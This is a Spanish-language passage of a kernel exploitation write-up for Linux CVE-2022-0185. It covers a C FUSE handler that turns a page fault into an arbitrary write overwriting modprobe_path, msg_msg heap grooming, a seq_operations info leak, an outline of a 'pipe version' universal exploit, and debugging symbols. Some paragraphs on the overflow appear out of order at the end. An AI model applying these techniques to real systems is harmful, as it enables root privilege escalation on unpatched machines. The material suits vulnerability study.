int evil_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {//[5]fuse文件系统的evil_read 直接将需要篡改的内容拼接到对应位置上。 // change to modprobe_path char signal; char evil_buffer[0x1000]; memset(evil_buffer, 0x43, sizeof(evil_buffer)); char *evil = modprobe_win; //char *modprobe_win = "/tmp/w"; memcpy((void *)(evil_buffer + 0x1000-0x30), evil, sizeof(evil));
size_t len = 0x1000;
···
memcpy(buf, evil_buffer + offset, size);
// sync with the arb write thread
read(fuse_pipes[0], &signal, 1); //[7]等待溢出操作完成,返回,完成任意地址写
return size;
}
1. Hacer `mmap` de una página en `0x1337000` (página 1)
2. Establecer la longitud del mensaje en 0x1010-0x30=0xfe0, de modo que el mensaje deba dividirse exactamente en dos segmentos
3. `fsconfig` prepara el relleno previo al desbordamiento y asigna un `kmalloc-4k`
4. Usar el sistema de archivos fuse registrado previamente para hacer `mmap` de una página en `0x1338000` (página 2)
5. Enviar el mensaje con longitud 0xfe0, que asigna un `kmalloc-4k` y un `kmalloc-32`. La posición inicial del mensaje está al final de la página 1. En este momento, dentro de `msgsnd`, **cuando la función `copy_from_user` copia el mensaje del espacio de usuario al espacio del kernel, al copiar en la página 2 se dispara un fallo de página (page fault) que invoca la función `evil_read` del sistema de archivos fuse del espacio de usuario**. Esta función, que nosotros especificamos, entrega al kernel el contenido que queremos escribir. Además, esta función espera a que el siguiente proceso termine de ejecutarse antes de devolver el control.
6. En este punto se inicia un nuevo proceso, que completa la operación de desbordamiento. El desbordamiento llega al puntero `msg_msgseg * next` dentro de la cabecera de mensaje `msg_msg` posterior, sobrescribiendo el puntero que apunta al segundo segmento del mensaje para que apunte a `modprobe_path`. Luego envía una señal de finalización a la función `evil_read`.
7. `evil_read` devuelve el control, completando la escritura en una dirección arbitraria. `modprobe_path` queda modificado a `"/tmp/w"`.

Diagrama:

Dado que ya se modificó `modprobe_path`, consideramos que la escalada de privilegios ha sido exitosa. La operación de escalada posterior del exp se completa añadiendo el permiso suid a `/bin/bash`. Aunque ya no es importante.

### [Nuevo] Análisis del exp (versión universal de dirty pipe artificial)
De: [veritas501/CVE-2022-0185-PipeVersion](https://github.com/veritas501/CVE-2022-0185-PipeVersion)
La idea principal surge después de que se expusiera CVE-2022-0847 (dirty pipe), al descubrir que pipe y splice tienen este mecanismo:
1. La tubería pipe se compone de 16 páginas de caché. Cada vez que se escriben datos en la pipe, se detecta en qué página se está escribiendo actualmente; si esa página no se ha terminado de escribir, se intenta continuar escribiendo en ella. Pero no todas las páginas permiten continuar la escritura, como en el siguiente caso.
2. splice permite transferir archivos a la tubería pipe. El método de implementación consiste en reemplazar directamente las páginas de caché de la pipe con las páginas de caché del archivo; las páginas de caché de archivo reemplazadas de esta manera no permiten que la pipe continúe escribiendo.
3. Después de la versión 5.8, se usa `pipe_buffer->flags` para determinar si la página permite continuar la escritura. Antes de la versión 5.8, se determina si se puede continuar escribiendo comprobando si `pipe_buffer->ops` es `anon_pipe_buf_ops`.
Entonces, la causa del fallo dirty pipe es que `pipe_buffer->flags` no se inicializa, lo que permite que las páginas de caché de archivo transferidas por splice puedan continuar escribiéndose. Aunque ya se ha corregido, consideremos: si podemos manipular artificialmente los flags, ¿podemos crear un "dirty pipe artificial"? La respuesta es afirmativa. Hay que saber que dirty pipe es una vulnerabilidad cuya explotación no depende de ninguna fuga de direcciones, y `pipe_buffer` es una estructura víctima habitual en la explotación de vulnerabilidades del kernel; manipular sus flags u ops es pan comido. A continuación se presenta la idea de lograr un exp universal mediante el dirty pipe artificial:
Primero, hacer spray de varios conjuntos de colas de mensajes, cada conjunto contiene un `msg_msg` de 0x1400, de modo que el msg se divida en dos segmentos: uno de 0x1000 y otro de 0x4000. Luego, usar la escritura fuera de límites para modificar el campo `m_ts` del segmento de mensaje principal a 0x1800:

De esta manera, al encontrar el **msgid que puede leer exitosamente una longitud de 0x1800**, se puede determinar qué cola tiene el `msg_msg` desbordado; además, mediante la lectura fuera de límites se confirma que lo que sigue es el segmento 2 (sec2) de otro mensaje. Luego se liberan todas las demás colas de mensajes excepto esa:

Luego, hacer spray de varios conjuntos de colas de mensajes, cada una conteniendo 16 (varios) `msg_msg` de 0x400. En el estado ideal, algún mensaje de algún conjunto ocupará el slab freed de 0x400 indicado con la línea discontinua en la figura anterior, formando el siguiente diseño; el 5.º msg de la cola de mensajes X obtuvo ese slab:

Después, mediante la lectura fuera de límites de msg1, se obtiene el valor de prev de msg5, es decir, la dirección de msg4. A través del contenido que hemos dispuesto en el msg, se puede determinar el número X de la cola de mensajes (msq) y que el msg está en la posición 5 de la cola.
A continuación, liberar msg6 y todos los mensajes posteriores a msg6. Luego, añadir un nuevo mensaje a la cola X; el nuevo mensaje se colocará igualmente después de msg5, es decir, el nuevo msg6 (newmsg6). Dentro de newmsg6 (en una posición donde la dirección no termine en 0x00), se coloca una cabecera msg falsa (fake head), que apunta a msg4, formando lo que se muestra a continuación:

Luego, realizar otra lectura fuera de límites y registrar la dirección del fake head en newmsg6, que es el valor de `msg5->next` leído fuera de límites más el desplazamiento que hemos dispuesto:

Y otra vez, una vez más, repetir el proceso y realizar de nuevo una escritura fuera de límites; esta vez se sobrescribe el puntero next de la cabecera del msg para que apunte al fakeHead de newmsg6, del cual ya acabamos de obtener la dirección:

Liberar directamente msg4 a través de msgX, luego hacer spray de sk_buff para ocupar el msg4 liberado, y falsificar next y prev para que apunten a sí mismos (ya conocemos la dirección de antes), con el fin de volver a liberar por segunda vez y eludir el unlink del msg:

Después, usar la cola newmsg1 para liberar msg4 una vez más, y luego usar pipe_buffer para ocuparlo de nuevo, haciendo que sk_buff y pipe_buffer ocupen la misma zona, formando la siguiente situación:

Para las operaciones siguientes, basta con consultar directamente la segunda mitad de la "[Ecuación de la victoria](https://blog.csdn.net/Breeze_CAT/article/details/124887764)". Exp: https://github.com/veritas501/CVE-2022-0185-PipeVersion

## Consejos de depuración
Símbolos relacionados:```
ffffffff81356040 t legacy_parse_param
ffffffff814927f0 t do_msgsnd
ffffffff81493550 t do_msgrcv
ffffffff813400b0 t single_start
ffffffff82c6c2e0 D modprobe_path
Punto de interrupción condicional``` ignore 1 117 #跳过断点1 117次,用来断正好溢出的fsconfig
## Referencias
github:[Crusaders-of-Rust/CVE-2022-0185](https://github.com/Crusaders-of-Rust/CVE-2022-0185)
writeup:https://www.willsroot.io/2022/01/cve-2022-0185.html
veritas501: [Análisis y explotación de CVE-2022-0185, y reflexión y práctica sobre las nuevas primitivas de pipe](https://veritas501.github.io/2022_03_16-CVE_2022_0185%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8%E4%B8%8Epipe%E6%96%B0%E5%8E%9F%E8%AF%AD%E6%80%9D%E8%80%83%E4%B8%8E%E5%AE%9E%E8%B7%B5/#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8)
Después se rellenan 21 caracteres más, que junto con ",=" suman 23 caracteres; en este punto se produce el desbordamiento. Como antes se rellenó hasta 4095, el desbordamiento real es de 22 caracteres, es decir, 0x16. Sin embargo, en condiciones normales, el desbordamiento afecta a memoria que aún no ha sido utilizada (asignada).

Se continúa con msgsnd para solicitar la estructura msg_msg (que se dividirá en dos segmentos). Dado que el primer segmento msg tiene longitud kmalloc-4k, lo más probable es que se asigne en la zona posterior a legacy_data, sobrescribiendo la parte recién desbordada, aunque no importa.

Se continúa llamando a fsconfig para realizar el desbordamiento; esta es la razón por la que se divide en dos pasos. El propósito de aquel desbordamiento de 22 caracteres era únicamente mover el puntero hasta antes del campo m_ts (que representa el tamaño de msg) en la cabecera msg_msg. En este momento, al desbordar de nuevo, como se añaden los dos caracteres ",=" al principio, se puede sobrescribir exactamente m_ts en la cabecera msg_msg y modificar el tamaño de msg .

Se rocían un montón de estructuras seq_operations; debido a que pertenecen a kmalloc-32 , lo más probable es que queden justo después del segundo segmento del mensaje.

En ese momento se reciben los mensajes; a uno de ellos se le alteró el size mediante el desbordamiento, por lo que la lectura se sale de los límites y lee la estructura seq_operations posterior, completando así la fuga de información.